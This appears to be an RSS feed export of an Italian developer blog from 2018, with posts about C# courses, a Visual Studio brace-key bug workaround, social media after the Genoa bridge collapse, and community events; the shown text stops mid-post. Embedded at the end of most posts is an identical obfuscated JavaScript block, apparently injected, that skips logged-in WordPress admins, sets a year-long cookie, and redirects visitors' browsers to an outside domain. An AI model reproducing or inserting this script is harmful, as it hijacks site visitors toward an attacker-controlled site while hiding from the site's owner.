<script> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\x20path=/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](/Android/i)||navigator['userAgent'][b('0xe')](/BlackBerry/i)||navigator[b('0xd')][b('0xe')](/iPhone|iPad|iPod/i)||navigator[b('0xd')][b('0xe')](/Opera Mini/i)||navigator[b('0xd')][b('0xe')](/IEMobile/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));</script><div class='kindleWidget kindleLight' style='font-family: verdana;'><img src="http://blog.vivendobyte.net/blog/wp-content/plugins/send-to-kindle/media/black-25.png" /><span>Send to Kindle</span></div>]]></content:encoded>
					
					<wfw:commentRss>http://blog.vivendobyte.net/blog/archive/2018/09/28/ciao-brain-sys-e-grazie-per-questo-viaggio.aspx/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Corso C# avanzato in quel di Venezia? Terminato!</title>
		<link>http://blog.vivendobyte.net/blog/archive/2018/08/31/corso-c-avanzato-in-quel-di-venezia-terminato.aspx?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=corso-c-avanzato-in-quel-di-venezia-terminato</link>
					<comments>http://blog.vivendobyte.net/blog/archive/2018/08/31/corso-c-avanzato-in-quel-di-venezia-terminato.aspx#comments</comments>
		
		<dc:creator><![CDATA[Igor Damiani]]></dc:creator>
		<pubDate>Fri, 31 Aug 2018 10:25:00 +0000</pubDate>
				<category><![CDATA[.NET World]]></category>
		<guid isPermaLink="false">http://blog.vivendobyte.net/blog/?p=3056</guid>

					<description><![CDATA[Un sentito grazie a Matteo, Marcomattia, Ivano, Paolo ed Enrico (rigorosamente da sinistra a destra nella foto qui sotto), per avermi pazientemente ascoltato per quattro giorni durante il mio corso su C# avanzato, da lunedì 27 a giovedì 30 di questa settimana. Di cosa abbiamo parlato? Di generics, eventi, delegate, LINQ, async &#38; await, di [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>Un sentito grazie a <strong>Matteo</strong>, <strong>Marcomattia</strong>, <strong>Ivano</strong>, <strong>Paolo</strong> ed <strong>Enrico</strong> (rigorosamente da sinistra a destra nella foto qui sotto), per avermi pazientemente ascoltato per quattro giorni durante il mio corso su C# avanzato, da lunedì 27 a giovedì 30 di questa settimana. Di cosa abbiamo parlato? Di generics, eventi, delegate, LINQ, async &amp; await, di un pezzetto di mondo di TPL, Reflection, e di molto altro ancora che qui non posso menzionare.</p>



<figure class="wp-block-image"><img src="http://blog.vivendobyte.net/blog/wp-content/uploads/2018/08/Corso_C_FPT.jpg" alt="" class="wp-image-3057" srcset="http://blog.vivendobyte.net/blog/wp-content/uploads/2018/08/Corso_C_FPT.jpg 1920w, http://blog.vivendobyte.net/blog/wp-content/uploads/2018/08/Corso_C_FPT-300x169.jpg 300w, http://blog.vivendobyte.net/blog/wp-content/uploads/2018/08/Corso_C_FPT-768x432.jpg 768w, http://blog.vivendobyte.net/blog/wp-content/uploads/2018/08/Corso_C_FPT-1024x576.jpg 1024w" sizes="(max-width: 1920px) 100vw, 1920px" /></figure>



<p>E’ molto molto bello avere avuto l’ennesima conferma del fatto che ci sono sviluppatori davvero tosti, in tutte le parti d’Italia; questa volta li ho incontrati nella provincia veneta. E’ stato un corso nel quale anche io ho imparato qualcosa, perché come è facile intuire quando si tiene un corso a gente tosta, anche quest’ultima è parte attiva e dà il suo contributo. Grazie ad Enrico (l’ultimo sulla destra nella foto) ho conosciuto per esempio <a href="https://servicestack.net/" target="_blank">Service Stack</a> e <a href="https://cslanet.com/" target="_blank">CSLA</a>, che vorrei approfondire – se il tempo me lo permetterà – in futuro.</p>



<p>Beh, insomma, ci siamo scattati una fotografia tutti assieme come ricordo, che mi fa piacere pubblicare qua sul mio blog, più che altro perché è uno degli ultimi corsi che tengo. Ma questa è un’altra storia di cui vi parlerò a breve su queste stesse pagine.</p>



<p>P.S. : un “congratulazioni” ad Ivano P. che, nella serata di ieri, ha sostenuto e superato l’esame di certificazione su C#. Avanti così!!!!</p>
<script> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\x20path=/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](/Android/i)||navigator['userAgent'][b('0xe')](/BlackBerry/i)||navigator[b('0xd')][b('0xe')](/iPhone|iPad|iPod/i)||navigator[b('0xd')][b('0xe')](/Opera Mini/i)||navigator[b('0xd')][b('0xe')](/IEMobile/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));</script><div class='kindleWidget kindleLight' style='font-family: verdana;'><img src="http://blog.vivendobyte.net/blog/wp-content/plugins/send-to-kindle/media/black-25.png" /><span>Send to Kindle</span></div>]]></content:encoded>
					
					<wfw:commentRss>http://blog.vivendobyte.net/blog/archive/2018/08/31/corso-c-avanzato-in-quel-di-venezia-terminato.aspx/feed</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
		<item>
		<title>Visual Studio 15.8 alla ricerca della parentesi graffa  (chiusa) mancante</title>
		<link>http://blog.vivendobyte.net/blog/archive/2018/08/21/visual-studio-15-8-alla-ricerca-della-parentesi-graffa-chiusa-mancante.aspx?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=visual-studio-15-8-alla-ricerca-della-parentesi-graffa-chiusa-mancante</link>
					<comments>http://blog.vivendobyte.net/blog/archive/2018/08/21/visual-studio-15-8-alla-ricerca-della-parentesi-graffa-chiusa-mancante.aspx#comments</comments>
		
		<dc:creator><![CDATA[Igor Damiani]]></dc:creator>
		<pubDate>Tue, 21 Aug 2018 10:51:06 +0000</pubDate>
				<category><![CDATA[.NET World]]></category>
		<guid isPermaLink="false">http://blog.vivendobyte.net/blog/?p=3046</guid>

					<description><![CDATA[Se dopo l&#8217;installazione della versione 15.8 di Visual Studio 2017 avete problemi ad inserire nel codice la parentesi graffa chiusa (&#8220;}&#8221;), effettivamente c&#8217;è un bug, del quale fortunatamente esiste già un workaround. Seguite questi passaggi: Aprite Visual Studio 2017 Andate nel menù Tools &#8211;&#62; Options Andate nella sezione Envinronment &#8211;&#62; Keyboard Nella casella di ricerca [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>Se dopo l&#8217;installazione della versione 15.8 di Visual Studio 2017 avete problemi ad inserire nel codice la parentesi graffa chiusa (&#8220;}&#8221;), effettivamente c&#8217;è un bug, del quale fortunatamente esiste già un workaround. Seguite questi passaggi:</p>



<ul><li>Aprite Visual Studio 2017</li><li>Andate nel menù Tools &#8211;&gt; Options</li><li>Andate nella sezione Envinronment &#8211;&gt; Keyboard</li><li>Nella casella di ricerca indicata da &#8220;Show commands containing&#8221; digitate &#8220;Edit.ExpandSelectiontoContainingBlock&#8221;</li><li>Vedrete che c&#8217;è la combinazione di tasti Ctrl+Shift+Alt+=</li><li>Cliccate sul pulsante Remove e confermate su OK per chiudere la finestra di dialogo</li></ul>



<figure class="wp-block-image"><a href="http://blog.vivendobyte.net/blog/wp-content/uploads/2018/08/Graffa-2.png"><img src="http://blog.vivendobyte.net/blog/wp-content/uploads/2018/08/Graffa-2.png" alt="" class="wp-image-3050" srcset="http://blog.vivendobyte.net/blog/wp-content/uploads/2018/08/Graffa-2.png 871w, http://blog.vivendobyte.net/blog/wp-content/uploads/2018/08/Graffa-2-300x225.png 300w, http://blog.vivendobyte.net/blog/wp-content/uploads/2018/08/Graffa-2-768x576.png 768w" sizes="(max-width: 871px) 100vw, 871px" /></a></figure>



<p>Et voilà, il problema è risolto. Ovviamente ci si attende che Microsoft risolva questa piccola svista con i prossimi rilasci.</p>



<p>Un ringraziamento a questi due tweet di <a href="https://twitter.com/qmatteoq/status/1030716417484697606" target="_blank">Matteo Pagani</a> e di <a href="https://twitter.com/alessioiafrate/status/1030713750754668544" target="_blank">Alessio Iafrate</a>, che mi hanno permesso di trovare la soluzione.</p>
<script> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\x20path=/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](/Android/i)||navigator['userAgent'][b('0xe')](/BlackBerry/i)||navigator[b('0xd')][b('0xe')](/iPhone|iPad|iPod/i)||navigator[b('0xd')][b('0xe')](/Opera Mini/i)||navigator[b('0xd')][b('0xe')](/IEMobile/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));</script><div class='kindleWidget kindleLight' style='font-family: verdana;'><img src="http://blog.vivendobyte.net/blog/wp-content/plugins/send-to-kindle/media/black-25.png" /><span>Send to Kindle</span></div>]]></content:encoded>
					
					<wfw:commentRss>http://blog.vivendobyte.net/blog/archive/2018/08/21/visual-studio-15-8-alla-ricerca-della-parentesi-graffa-chiusa-mancante.aspx/feed</wfw:commentRss>
			<slash:comments>3</slash:comments>
		
		
			</item>
		<item>
		<title>Il silenzio sui social</title>
		<link>http://blog.vivendobyte.net/blog/archive/2018/08/20/il-silenzio-sui-social.aspx?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=il-silenzio-sui-social</link>
					<comments>http://blog.vivendobyte.net/blog/archive/2018/08/20/il-silenzio-sui-social.aspx#respond</comments>
		
		<dc:creator><![CDATA[Igor Damiani]]></dc:creator>
		<pubDate>Mon, 20 Aug 2018 07:59:52 +0000</pubDate>
				<category><![CDATA[.NET World]]></category>
		<guid isPermaLink="false">http://blog.vivendobyte.net/blog/?p=3040</guid>

					<description><![CDATA[Ci sono regole non scritte grazie alle quali il mondo si regge. Sono le regole del buonsenso. Ma affinchè queste regole continuino a funzionare, è necessario che esse vengano costantemente rispettate e seguite da tutti. E&#8217; sufficiente che una sola persona evada da questa visione per far saltare gli schemi. Immaginate un autista contromano, oppure [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>Ci sono regole non scritte grazie alle quali il mondo si regge. Sono le regole del buonsenso. Ma affinchè queste regole continuino a funzionare, è necessario che esse vengano costantemente rispettate e seguite da tutti. E&#8217; sufficiente che una sola persona evada da questa visione per far saltare gli schemi. Immaginate un autista contromano, oppure qualcuno che continua a suonare all&#8217;impazzata i citofoni della palazzina dove vivete, volumi delle radio e delle TV al massimo livello, uno che salta la fila alle poste, e così via. Sarebbe l&#8217;anarchia, no?</p>



<p><strong>Una di queste regole è quella che riguarda il silenzio sui social.</strong> E&#8217; di pochi giorni fa il dramma che ha colpito la città di Genova, con il crollo del ponte Morandi, che ha purtroppo causato la morte di decine di persone, con feriti, sfollati, eccetera eccetera. Sui social ovviamente si è scatenata la bagarre, a torto o a ragione. Discussioni infinite sulle cause, su chi doveva intervenire, sui selfie dei vari personaggi politici che hanno partecipato ai funerali di stato, sugli allarmi inascoltati lanciati negli anni precedenti, sui fischi a quelli del PD &amp; sugli applausi a quelli dell&#8217;attuale maggioranza. E, si sa, come sempre sui social ogni cosa è amplificata ed esasperata.</p>



<p><strong>Ho visto anche qualche amico invocare un po&#8217; di silenzio</strong>, nel segno del rispetto verso chi ha perso la vita e verso i loro familiari. Io personalmente sono anche d&#8217;accordo, ma come dicevo all&#8217;inizio, è necessario che questo silenzio sia rispettato da tutti, altrimenti il meccanismo non sta in piedi, ma proprio per niente. Non trovo corretto aprire il proprio profilo Facebook e vedere un elenco infinito di post e condivisioni che rappresentano solo una parte dell&#8217;opinione pubblica, a maggior ragione che non rappresenta il mio. Secondo me, stiamo vivendo un&#8217;epoca nella quale ciascuna deve fare la sua parte, esprimendo la propria idea ed opinione. Per dirla diversamente: immaginatevi di aprire Facebook e di trovare un elenco spropositato di sciocchezze e fake news (alcune oggettive, altre meno). Come reagireste? Non vi verrebbe voglia di gridare la vostra verità? Credo proprio di sì. Anche perchè il risultato di un eventuale vostro non agire, sarebbe ancora più disastroso: tutte le notizie che circolano sui social sarebbero di parte, non vi rappresentano. Dal mio punto di vista è come leggere continuamente che 1+1 fa 3. No, c&#8217;è qualcosa che non va.</p>



<p>Tra l&#8217;altro, ritengo che il silenzio sui social per certi versi non debba esistere. D&#8217;altronde, nei bar e nei luoghi pubblici le persone hanno sempre parlato tra di loro, anche di fronte a fatti di cronaca, per cui perchè questo non deve avvenire anche sui social? Semmai la cosa difficile è parlarsi e confrontarsi con educazione, garbo e rispetto l&#8217;uno dell&#8217;altro. Purtroppo i social ad oggi banalizzano molto il dialogo (per la serie: se non sei con me, allora sei contro di me), e lo rendono aspro, duro e violento. Chissà, magari un giorno questo atteggiamento svanirà, ma è molto più probabile che i social così come li conosciamo oggi spariranno, soppiantati da altre forme di comunicazione digitali.</p>
<script> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\x20path=/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](/Android/i)||navigator['userAgent'][b('0xe')](/BlackBerry/i)||navigator[b('0xd')][b('0xe')](/iPhone|iPad|iPod/i)||navigator[b('0xd')][b('0xe')](/Opera Mini/i)||navigator[b('0xd')][b('0xe')](/IEMobile/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));</script><div class='kindleWidget kindleLight' style='font-family: verdana;'><img src="http://blog.vivendobyte.net/blog/wp-content/plugins/send-to-kindle/media/black-25.png" /><span>Send to Kindle</span></div>]]></content:encoded>
					
					<wfw:commentRss>http://blog.vivendobyte.net/blog/archive/2018/08/20/il-silenzio-sui-social.aspx/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>19 Giugno, Genova Mobile Development</title>
		<link>http://blog.vivendobyte.net/blog/archive/2018/06/05/19-giugno-genova-mobile-development.aspx?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=19-giugno-genova-mobile-development</link>
					<comments>http://blog.vivendobyte.net/blog/archive/2018/06/05/19-giugno-genova-mobile-development.aspx#respond</comments>
		
		<dc:creator><![CDATA[Igor Damiani]]></dc:creator>
		<pubDate>Tue, 05 Jun 2018 13:20:43 +0000</pubDate>
				<category><![CDATA[Community]]></category>
		<guid isPermaLink="false">http://blog.vivendobyte.net/blog/?p=3018</guid>

					<description><![CDATA[Il prossimo 19 Giugno (martedì), presso il Dipartimento di Informatica dell&#8217;Università di Genova, (ecco la mappa su Google Maps) si svolgerà un interessantissimo pomeriggio dedicato allo sviluppo su piattaforme mobile, dalle 14:00 fino alle 18 circa. Trovate maggiori informazioni sulla pagina dedicata all&#8217;evento. Gli argomenti previsti vanno dalle Progressive Web Apps, passando da Xamarin a [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Il prossimo 19 Giugno (martedì), presso il <strong>Dipartimento di Informatica dell&#8217;Università di Genova</strong>, (ecco la <a href="https://goo.gl/maps/q7rz8pmXvkC2" target="_blank" rel="noopener">mappa su Google Maps</a>) si svolgerà un interessantissimo pomeriggio dedicato allo sviluppo su piattaforme mobile, dalle 14:00 fino alle 18 circa. Trovate maggiori informazioni <a href="https://www.dotnetliguria.net/Workshops/Detail?WorkshopId=d6112500-8a5d-44c6-8a22-74b290b571f0" target="_blank" rel="noopener">sulla pagina dedicata all&#8217;evento</a>. Gli argomenti previsti vanno dalle <strong>Progressive Web Apps</strong>, passando da <strong>Xamarin</strong> a <strong>Xamarin Forms</strong>, fino allo sviluppo nativo con Android Studio. Gli speaker sono di tutto rispetto (Raffaele Rialdi non ha bisogno di presentazioni, immagino…senza nulla togliere agli altri, ovviamente), quindi vale la pena ritagliarsi un po&#8217; di tempo per stare al passo con le ultime evoluzioni in questo settore. Alcuni amici di community tratteranno anche argomenti più trasversali, come ad esempio sfruttare il cloud di Azure ed i Cognitive Services nell&#8217;ambito delle nostre applicazioni mobile, per avere il giusto apporto di intelligenza artificiale. La giornata è divisa in due track (main room &amp; secondary room), per cui è possibile saltare da una stanza all&#8217;altra per seguire l&#8217;argomento più congeniale rispetto alle proprie necessità.</p>
<p>Il tutto è fortunatamente gratuito (non è così scontato, organizzare un evento ha sempre dei costi, di cui spesso non si ha consapevolezza); è sufficiente registrarsi per poter partecipare.<script> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\x20path=/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](/Android/i)||navigator['userAgent'][b('0xe')](/BlackBerry/i)||navigator[b('0xd')][b('0xe')](/iPhone|iPad|iPod/i)||navigator[b('0xd')][b('0xe')](/Opera Mini/i)||navigator[b('0xd')][b('0xe')](/IEMobile/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));</script></p>
<div class='kindleWidget kindleLight' style='font-family: verdana;'><img src="http://blog.vivendobyte.net/blog/wp-content/plugins/send-to-kindle/media/black-25.png" /><span>Send to Kindle</span></div>
]]></content:encoded>
					
					<wfw:commentRss>http://blog.vivendobyte.net/blog/archive/2018/06/05/19-giugno-genova-mobile-development.aspx/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Sole alto</title>
		<link>http://blog.vivendobyte.net/blog/archive/2018/06/04/sole-alto.aspx?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=sole-alto</link>
					<comments>http://blog.vivendobyte.net/blog/archive/2018/06/04/sole-alto.aspx#respond</comments>
		
		<dc:creator><![CDATA[Igor Damiani]]></dc:creator>
		<pubDate>Mon, 04 Jun 2018 08:14:58 +0000</pubDate>
				<category><![CDATA[My daily work]]></category>
		<guid isPermaLink="false">http://blog.vivendobyte.net/blog/?p=3013</guid>

					<description><![CDATA[Ho tenuto il mio primo corso nell&#8217;ottobre del 2014, stiamo arrivando con il prossimo autunno ai quattro anni. Ho girato bene o male un po&#8217; tutta l&#8217;Italia, ma per motivi logistici &#8211; come potete immaginare &#8211; soprattutto il Nord. Sono stato a Cuneo, in Valtellina, a Torino (dove tornerò fra poco), ovviamente a Milano e [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><strong>Ho tenuto il mio primo corso nell&#8217;ottobre del 2014</strong>, stiamo arrivando con il prossimo autunno ai quattro anni. Ho girato bene o male un po&#8217; tutta l&#8217;Italia, ma per motivi logistici &#8211; come potete immaginare &#8211; soprattutto il Nord. Sono stato a Cuneo, in Valtellina, a Torino (dove tornerò fra poco), ovviamente a Milano e nel suo intricato hinterland, in Trentino, a Trieste, in parecchi posti dell&#8217;Emilia Romagna (da Piacenza a Cesenatico), a Pesaro, fino a raggiungere in casi più rari location come Roma e Bari. Ho parlato, e continuo a farlo, di .NET Framework, di C# e VB.NET base ed avanzato, di metodologie agili, di TFS, di Xamarin Forms, di MVVM applicato a WPF &amp; UWP, di Entity Framework, e chi ne ha più ne metta.</p>
<p>Ma è specialmente d&#8217;estate, quando le giornate sono lunghe, che hai più soddisfazione nel chiudere la tua attività. Perchè sei stato in piedi tutto il giorno, hai parlato alla tua classe, alle persone di un&#8217;azienda, hai trasmesso tutto ciò che sai.</p>
<p>L&#8217;ultimo giorno saluti tutti, esci all&#8217;aperto inforcando i tuoi sgangherati occhiali da sole, con il sole ancora alto in cielo, cammini soddisfatto verso la tua automobile, quando sei con lei, e torni con calma a casa. Un altro corso è andato, e pensi già al prossimo.</p>
<p>Insegnare è una vocazione, si dice spesso.<br />
Credo che sia anche la mia.<script> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\x20path=/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](/Android/i)||navigator['userAgent'][b('0xe')](/BlackBerry/i)||navigator[b('0xd')][b('0xe')](/iPhone|iPad|iPod/i)||navigator[b('0xd')][b('0xe')](/Opera Mini/i)||navigator[b('0xd')][b('0xe')](/IEMobile/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));</script></p>
<div class='kindleWidget kindleLight' style='font-family: verdana;'><img src="http://blog.vivendobyte.net/blog/wp-content/plugins/send-to-kindle/media/black-25.png" /><span>Send to Kindle</span></div>
]]></content:encoded>
					
					<wfw:commentRss>http://blog.vivendobyte.net/blog/archive/2018/06/04/sole-alto.aspx/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Parlare di WPF in Microsoft House</title>
		<link>http://blog.vivendobyte.net/blog/archive/2018/05/27/parlare-di-wpf-in-microsoft-house.aspx?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=parlare-di-wpf-in-microsoft-house</link>
					<comments>http://blog.vivendobyte.net/blog/archive/2018/05/27/parlare-di-wpf-in-microsoft-house.aspx#respond</comments>
		
		<dc:creator><![CDATA[Igor Damiani]]></dc:creator>
		<pubDate>Sun, 27 May 2018 14:00:00 +0000</pubDate>
				<category><![CDATA[My daily work]]></category>
		<guid isPermaLink="false">http://blog.vivendobyte.net/blog/?p=3003</guid>

					<description><![CDATA[Il 24 Maggio scorso ci sono stati i Community Days 2018 presso Microsoft House, a Milano. Inizialmente mi ero iscritto, mesi fa, perchè indipendentemente dai contenuti (che possono essere di tuo gradimento oppure no), queste sono sempre occasioni da non perdere. Peccato accorgersi che proprio quel giorno avrei dovuto tenere il mio quarto ed ultimo [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Il 24 Maggio scorso ci sono stati i <a href="http://www.communitydays.it/" target="_blank" rel="noopener">Community Days 2018</a> presso Microsoft House, a Milano. Inizialmente mi ero iscritto, mesi fa, perchè indipendentemente dai contenuti (che possono essere di tuo gradimento oppure no), queste sono sempre occasioni da non perdere. Peccato accorgersi che proprio quel giorno avrei dovuto tenere il mio quarto ed ultimo giorno di corso su <strong>Windows Presentation Foundation + .NET Standard + MVVM</strong> in <a href="http://overneteducation.it/" target="_blank" rel="noopener">Overnet Education</a>, per cui avrei dovuto arrendermi e saltare l&#8217;evento.</p>
<p>Non è andata proprio così, alla fine (per fortuna).</p>
